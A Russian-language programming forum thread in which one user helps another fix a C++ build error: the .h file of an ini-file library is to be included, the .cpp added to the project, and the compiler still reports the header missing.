14.09.2013, 01:01

11

Выложи исходники, попробую у себя потестить. Самому интересно стало.



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 01:03

 [ТС]

12

nikstorm, вот:



0



4023 / 3280 / 920

Регистрация: 25.03.2012

Сообщений: 12,269

Записей в блоге: 1

14.09.2013, 01:17

13

ну и? всё правильно!
Тебе дают h и cpp файл
h файл ты инклюдишь в тех местах, где требуются вызовы этих функций.
cpp файл ты просто добавляешь в проект!
Не надо его никуда инклюдить!
Доступно объяснил?



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 01:20

 [ТС]

14

Kuzia domovenok, почему не находит ни один ни другой файл в проекте ?



0



4023 / 3280 / 920

Регистрация: 25.03.2012

Сообщений: 12,269

Записей в блоге: 1

14.09.2013, 01:22

15

Цитата
Сообщение от neic777
Посмотреть сообщение

Kuzia domovenok, почему не находит ни один ни другой файл в проекте ?

да потому что убери #include <inifile.cpp> !!!



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 01:23

 [ТС]

16

Kuzia domovenok, убрал, подключил <iniFile.h> всё равно не находит.



0



Kuzia domovenok

4023 / 3280 / 920

Регистрация: 25.03.2012

Сообщений: 12,269

Записей в блоге: 1

14.09.2013, 01:24

17

C++
1
#include "iniFile.h"



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 01:25

 [ТС]

18

Kuzia domovenok, не помогло.



0



4023 / 3280 / 920

Регистрация: 25.03.2012

Сообщений: 12,269

Записей в блоге: 1

14.09.2013, 01:28

19

текст ошибки?



0



0 / 0 / 0

Регистрация: 08.04.2013

Сообщений: 138

14.09.2013, 01:31

 [ТС]

20

error: iniFile.h: No such file or directory|



0



Понравилась статья? Поделить с друзьями:
  • Ошибка inaccessible boot device при загрузке windows 10
  • Ошибка in5p опель астра что это
  • Ошибка in use on this server
  • Ошибка http 400 честный знак
  • Ошибка http 400 размер заголовков запроса слишком длинный